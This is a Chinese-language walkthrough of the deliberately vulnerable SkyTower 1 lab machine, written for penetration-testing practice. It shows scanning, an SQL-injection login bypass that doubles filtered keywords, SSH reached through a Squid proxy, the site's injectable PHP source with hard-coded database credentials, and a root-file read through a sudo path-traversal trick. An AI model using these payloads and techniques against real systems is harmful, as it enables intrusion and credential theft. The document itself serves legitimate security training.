准备工作
靶机基本信息
靶机名称:SkyTower 1
操作系统:Linux
虚拟机软件:VirtualBox (可手动转换)
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root
权限并读取Flag文件下载地址:1. SkyTower: 1 ~ VulnHub(VBox版)
环境配置
将VMware版的虚拟机压缩包下载后解压,打开VMware Workstation,点击 主页
=> 文件
=> 打开
,在弹出的文件选择窗口中选中SkyTower.ovf
即可导入。
准备工作
IP地址发现
在Kali Linux中,使用netdiscover
工具进行主机发现:
shell
netdiscover -r 192.168.2.0/24
如图,MAC设备名为VMware, Inc.
的主机即为靶机,IP地址为192.168.2.129
。
防火墙探测
知道靶机的IP地址之后,我们对其进行防火墙信息收集。首先使用ping
命令进行ICMP
探测:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.129
PING 192.168.2.129 (192.168.2.129) 56(84) bytes of data.
64 bytes from 192.168.2.129: icmp_seq=1 ttl=64 time=2.04 ms
64 bytes from 192.168.2.129: icmp_seq=2 ttl=64 time=1.00 ms
64 bytes from 192.168.2.129: icmp_seq=3 ttl=64 time=0.975 ms
64 bytes from 192.168.2.129: icmp_seq=4 ttl=64 time=0.980 ms
--- 192.168.2.129 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.975/1.248/2.038/0.455 ms
看来攻击机和靶机的连通性正常。下面使用Nmap
工具进行ACK
扫描:
shell
nmap -sA -T4 -p- 192.168.2.129
看来靶机上存在防火墙,而且22
端口被过滤。
网络服务扫描
知道了靶机的防火墙状态后,我们使用Nmap
对其进行扫描:
shell
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.129
端口 | 状态 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|---|
22 | 过滤 | TCP | SSH | 未知 |
80 | 开启 | TCP | HTTP | Apache httpd 2.2.22 ((Debian)) |
3128 | 开启 | TCP | HTTP-Proxy | Squid http proxy 3.1.20 |
可以看到靶机原本开启了SSH
、HTTP
和HTTP应用层代理
三个服务,但SSH
服务的22
端口被防火墙屏蔽了,这里合理怀疑是要我们通过HTTP
代理服务来转发SSH
连接请求。
此外,还发现靶机的操作系统为Debian Linux
,内核版本为Linux 3.2-3.16
之间。
服务探测
Web应用程序(80端口)
打开浏览器,访问网址:http://192.168.2.129/
发现是一个登录框。查看网页源代码:
再次发现它仅仅是一个登录框......
除此之外还发现了关键词Skytech
,尝试访问,报404
。
使用gobuster
进行目录扫描:
shell
gobuster dir -u http://192.168.2.129/ -w ./directory-list-1.0.txt -t 15
(这里的字典为/usr/share/wordlists/dirbuster/directory-list-1.0.txt
)
结合以上信息,可以判断靶机Web服务存在以下目录和文件:
/index
/background
=> 登录页背景图login.php
=> 登录页面
最后再来一波nikto
漏洞扫描:
shell
nikto -h http://192.168.2.129
从中可以得到以下关键信息:
- 靶机
PHP
的版本为PHP/5.4.4-14+deb7u9
- 靶机Web服务支持的HTTP请求头:
OPTIONS
、GET
、HEAD
和POST
下面还是访问主页登录框,随便输入用户名和密码,使用BurpSuite
抓取路由信息:
可以看到登录信息使用POST
方法传递,email
参数为用户邮箱信息,password
为用户密码信息。
尝试在email
参数后面加一个英文引号:
经典!!
发现SQL注入点:http://192.168.2.129/login.php [POST] email={INJECT}&password=password
渗透测试
确定SQL注入点之后,尝试使用sleep()
函数 构造注入语句使程序暂停执行10
秒。推测后台SQL语句如下:
SQL
SELECT id FROM `tb_users` WHERE email = '/*{EMAIL}*/' AND password = '/*{PASS}*/'
尝试构造:Skytech'+or+sleep(10)#
,但是or
关键字似乎被删除了:
直接双写or
关键字:Skytech'+oorr+sleep(10)#
成功!
不过后续尝试SQL报错注入时,发现连英文逗号什么的都被过滤了。。。算了,直接登录绕过。。
构造语句:'+oorr+true#
看来连布尔值也被删除了。。。继续双写绕过:Skytech'+oorr+trtrueue
绕过登录成功,也拿到了登录信息,不过这封信的内容属实非常逆天。。
登录信息如下:
- 用户名:
john
- 密码:
hereisjohn
不过要登录靶机的SSH,就必须通过3128
端口的HTTP代理服务 来将我们的流量转发到靶机的22
端口,而我们可以通过proxychains
工具来转发SSH流量。
编辑/etc/proxychains4.conf
文件,在配置文件最后一行添加如下文本:
Text
http 192.168.2.129 3128
连接SSH:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# proxychains ssh john@192.168.2.129
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 192.168.2.129:3128 ... 192.168.2.129:22 ... OK
The authenticity of host '192.168.2.129 (192.168.2.129)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.129' (ECDSA) to the list of known hosts.
john@192.168.2.129's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014
Funds have been withdrawn
Connection to 192.168.2.129 closed.
连接是连上了,但连上之后立马退出了。。。。
推测是~/.bashrc
文件有问题,直接执行命令删除:
shell
proxychains ssh -l john 192.168.2.129 'rm -rf ~/.bashrc'
再次尝试登录:
成功!!!
直接passwd
改密码:
Text
john@SkyTower:~$ passwd
Changing password for john.
(current) UNIX password: **********
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
权限提升
本地信息收集
进入系统之后,首先使用LinPeas
工具进行信息收集。
操作系统基本信息
CVE漏洞信息
主机进程信息
计划任务信息
系统用户信息
网站信息
特殊权限文件信息
经过整理,我们得出以下信息:
- 靶机操作系统为
Debian Linux
,内核版本为Linux version 3.2.0-4-amd64
- 系统
Sudo
版本为1.8.5p2
- 针对靶机操作系统,有内核漏洞可使用
- 靶机启动了MySQL服务,端口号为
3306
- 靶机有
4
个高价值用户:root
、john
、sara
、william
- 靶机的网站绝对路径为
/var/www/
,网站中间件为Apache
经过分析,决定先从Web应用程序的源代码下手,找到数据库的登录信息。
登录数据库
我们首先查看/var/www/login.php
的内容:
PHP
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
if($db->connect_errno > 0){
die('Unable to connect to database [' . $db->connect_error . ']');
}
$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
$email = str_ireplace($sqlinjection, "", $_POST['email']);
$password = str_ireplace($sqlinjection, "", $_POST['password']);
$sql= "SELECT * FROM login where email='".$email."' and password='".$password."';";
$result = $db->query($sql);
if(!$result)
die('There was an error running the query [' . $db->error . ']');
if($result->num_rows==0)
die('<br>Login Failed</br>');
$row = $result->fetch_assoc();
echo "<HTML>";
echo '
<div style="height:100%; width:100%;background-image:url(\'background.jpg\');
background-size:100%;
background-position:50% 50%;
background-repeat:no-repeat;">
<div style="
padding-right:8px;
padding-left:10px;
padding-top: 10px;
padding-bottom: 10px;
background-color:white;
border-color: #000000;
border-width: 5px;
border-style: solid;
width: 400px;
height:430px;
position:absolute;
top:50%;
left:50%;
margin-top:-215px; /* this is half the height of your div*/
margin-left:-200px;
">
';
echo "<br><strong><font size=4>Welcome ".$row["email"]."</font><br /> </br></strong>";
echo "As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: ".explode("@",$row["email"])[0]."</strong><br><strong>Password: ".$row["password"]."</strong>";
echo " <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div>";
echo "</HTML>"
?>
程序首先创建了一个MySQL操作对象,随后定义了一个名为$sqlinjection
的数组,里面存放了一些SQL关键字,接着接收$_POST
数组中的用户名和密码,并将里面的关键字替换为空字符串后就带入了SQL查询中(漏洞点)。最后,在登录后的页面中,网页显示的SSH登录信息是从SkyTech
数据库中查询出来的。也就是说,SkyTech
数据库中存放着靶机用户的登录信息。
获取到了MySQL的登录信息:
- 用户名:
root
- 密码:
root
尝试登录:
成功!!
查看数据库中的用户密码信息:
SQL
USE `SkyTech`;
SHOW TABLES;
SELECT * FROM `login`;
发现3组用户密码信息:
- 用户名:
john
- 密码:
hereisjohn
-
用户名:
sara
-
密码:
ihatethisjob
-
用户名:
william
-
密码:
senseable
Linux基础命令提权
我们登录到sara
用户:
shell
proxychains ssh -l sara 192.168.2.129 'rm -rf ~/.bashrc'
proxychains ssh sara@192.168.2.129
然后使用sudo -l
查看用户权限:
发现该用户可以以root
身份使用如下命令:
/bin/cat /accounts/*
/bin/ls /accounts/*
我们首先看看/account
目录中的文件:
Text
sara@SkyTower:~$ ls -lA /accounts
total 0
看来里面空无一物,但为什么靶机作者要设置这条命令?
突然想到了可以试试使用相对路径 ,去读取/root
目录。
执行如下命令:
shell
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt
找到登录信息:
- 用户名:
root
- 密码:
theskytower
好好好,直接登录:
成功!!!!
Flag文件展示
文件名:
flag.txt
文件大小:69.00 Bytes
MD5:f76468f696081898b2234f1d1bf99640
SHA256:5f2cbddc8b7c7f7476fe5d9ac0eb571dcf35bd3b7336c806273a801ad0ba5913
文件内容: